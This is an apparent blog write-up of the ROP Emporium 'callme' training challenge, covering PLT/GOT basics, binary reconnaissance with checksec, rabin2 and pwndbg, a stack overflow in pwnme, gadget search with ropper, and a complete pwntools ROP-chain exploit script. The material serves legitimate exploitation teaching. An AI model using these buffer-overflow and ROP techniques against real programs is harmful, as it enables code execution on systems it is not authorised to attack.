ROP Emporium: callme

Chaining PLT calls with a multi-argument ROP gadget to invoke three functions in sequence

challenge info

the challenge description already gives a ton of information by default;

You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

additionally, it urges to learn about the PLT (procedure linking table)

i’m assuming the callme functions look something like:

1
2
3
void callme_one(long arg1, long arg2, long arg3);
void callme_two(long arg1, long arg2, long arg3);
void callme_three(long arg1, long arg2, long arg3);

keep in mind the x64 calling convention:

  1. rdi
  2. rsi
  3. rdx
  4. rcx
  5. r8
  6. r9
  7. 7th+ argument -> stack

PLT & GOT explanation

quick tldr:

The Global Offset Table (GOT) and Procedure Linkage Table (PLT) are crucial mechanisms for dynamic linking in Linux binaries. They work together to enable efficient resolution of external function addresses at runtime.

in practice, the PLT contains small stub functions for each external function, it’s basically like a ‘trampoline’ of sorts for each external function

the GOT, however, contains the actual runtime addresses of external functions. it initially points back to the PLT for lazy binding, and gets updated with real addresses after the first call (lazy binding- think lazy loading!)

example

first call to callme_one():

  1. your code calls callme_one@plt
  2. PLT jumps to address in callme_one@got
  3. GOT initially points back to PLT resolver code
  4. resolver looks up real address & updates GOT
  5. jumps to actual callme_one()

but, after this (subsequent calls):

  1. your code calls callme_one@plt
  2. PLT jumps to address in callme_one@got
  3. GOT now has real address, jumps directly there

for this challenge, we need to call three functions (callme_one, callme_two, callme_three) with specific args, so the PLT entries are my buddies because:

  • PLT addresses don’t change between runs (unlike the actual function addresses with ASLR)
  • easy targets, since i can reliably jump to callme_one@plt in my ROP chain
  • AND, i still get FULL FUNCTIONALITY! THAT’S RIGHT!!!! CALLING THE PLT ENTRY WORKS EXACTLY LIKE CALLING THE REAL FUNCTION!!!

PLT diagram

methodology

1
2
$ file callme
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped
1
2
3
4
5
6
7
8
9
pwndbg> checksec
File: /home/river/Desktop/cyber/ropemporium/callme/callme
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No

the challenge description recommended we use rabin2, so i’ll use that for once lol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ rabin2 -i callme
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x004006d0 GLOBAL FUNC puts
2 0x004006e0 GLOBAL FUNC printf
3 0x004006f0 GLOBAL FUNC callme_three
4 0x00400700 GLOBAL FUNC memset
5 0x00400710 GLOBAL FUNC read
6 ---------- GLOBAL FUNC __libc_start_main
7 0x00400720 GLOBAL FUNC callme_one
8 ---------- WEAK NOTYPE __gmon_start__
9 0x00400730 GLOBAL FUNC setvbuf
10 0x00400740 GLOBAL FUNC callme_two
11 0x00400750 GLOBAL FUNC exit

pwnme exploration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> disass pwnme
Dump of assembler code for function pwnme:
0x0000000000400898 <+0>: push rbp
0x0000000000400899 <+1>: mov rbp,rsp
0x000000000040089c <+4>: sub rsp,0x20
0x00000000004008a0 <+8>: lea rax,[rbp-0x20]
0x00000000004008a4 <+12>: mov edx,0x20
0x00000000004008a9 <+17>: mov esi,0x0
0x00000000004008ae <+22>: mov rdi,rax
0x00000000004008b1 <+25>: call 0x400700 <memset@plt>
0x00000000004008b6 <+30>: mov edi,0x4009f0
0x00000000004008bb <+35>: call 0x4006d0 <puts@plt>
0x00000000004008c0 <+40>: mov edi,0x400a13
0x00000000004008c5 <+45>: mov eax,0x0
0x00000000004008ca <+50>: call 0x4006e0 <printf@plt>
0x00000000004008cf <+55>: lea rax,[rbp-0x20]
0x00000000004008d3 <+59>: mov edx,0x200
0x00000000004008d8 <+64>: mov rsi,rax
0x00000000004008db <+67>: mov edi,0x0
0x00000000004008e0 <+72>: call 0x400710 <read@plt>
0x00000000004008e5 <+77>: mov edi,0x400a16
0x00000000004008ea <+82>: call 0x4006d0 <puts@plt>
0x00000000004008ef <+87>: nop
0x00000000004008f0 <+88>: leave
0x00000000004008f1 <+89>: ret
End of assembler dump.

vulnerable to bof:

1
2
0x00000000004008cf <+55>:	lea    rax,[rbp-0x20]
0x00000000004008d3 <+59>: mov edx,0x200

looks like it’s setting up for a function call, maybe read() or fgets()

exploitation

alright so whenever i write my payloads i like to really modularize everything, i like having a section for relevant addresses, which i’ll assign to variables, and i just overall prefer the neatness & compartmentalization of pwn exploits like this

tldr though, i ended up:

  1. noting the addresses of callme_one, callme_two, and callme_three, which i did via rabin2 (as noted above)
  2. noting the values we’ll have to change: 0xdeadbeefdeadbeef, 0xcafebabecafebabe, etc.
  3. writing the initial payload to overflow the vulnerable buffer which i found via the lea & mov pattern, which was 40 bytes (32 byte buffer + 8 bytes for saved rbp = 40 bytes to reach RIP (return address))
  4. “new” part: using ropper to find the gadgets
    1
    2
    3
    4
    5
    6
    7
    8
    $ ropper --file callme --search "pop rdi; pop rsi; pop rdx"
    [INFO] Load gadgets for section: LOAD
    [LOAD] loading... 100%
    [LOAD] removing double gadgets... 100%
    [INFO] Searching for gadgets: pop rdi; pop rsi; pop rdx

    [INFO] File: callme
    0x000000000040093c: pop rdi; pop rsi; pop rdx; ret;

noted this address, and my payload ended up looking like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
p = process('./callme')

pop_rdi_rsi_rdx = p64(0x40093c)

# addresses
callme_one = p64(0x00400720)
callme_two = p64(0x00400740)
callme_three = p64(0x004006f0)

# args
arg1 = p64(0xdeadbeefdeadbeef)
arg2 = p64(0xcafebabecafebabe)
arg3 = p64(0xd00df00dd00df00d)

payload = b'A'*40

payload += pop_rdi_rsi_rdx + arg1 + arg2 + arg3 + callme_one
payload += pop_rdi_rsi_rdx + arg1 + arg2 + arg3 + callme_two
payload += pop_rdi_rsi_rdx + arg1 + arg2 + arg3 + callme_three

p.sendline(payload)
p.interactive()

why this works:

1
2
3
4
5
# The gadget executes:
# pop rdi <- pops arg1 from stack into rdi
# pop rsi <- pops arg2 from stack into rsi
# pop rdx <- pops arg3 from stack into rdx
# ret <- jumps to callme_one (next value on stack)

and all done!

note: if that exact gadget had NOT existed, i would have had to find individual pop calls:

1
2
3
pop_rdi   # 0x??????: pop rdi; ret
pop_rsi # 0x??????: pop rsi; ret
pop_rdx # 0x??????: pop rdx; ret

and exploitation would have been more like:

1
2
3
4
5
6
7
payload += pop_rdi_gadget
payload += arg1
payload += pop_rsi_gadget
payload += arg2
payload += pop_rdx_gadget
payload += arg3
payload += callme_one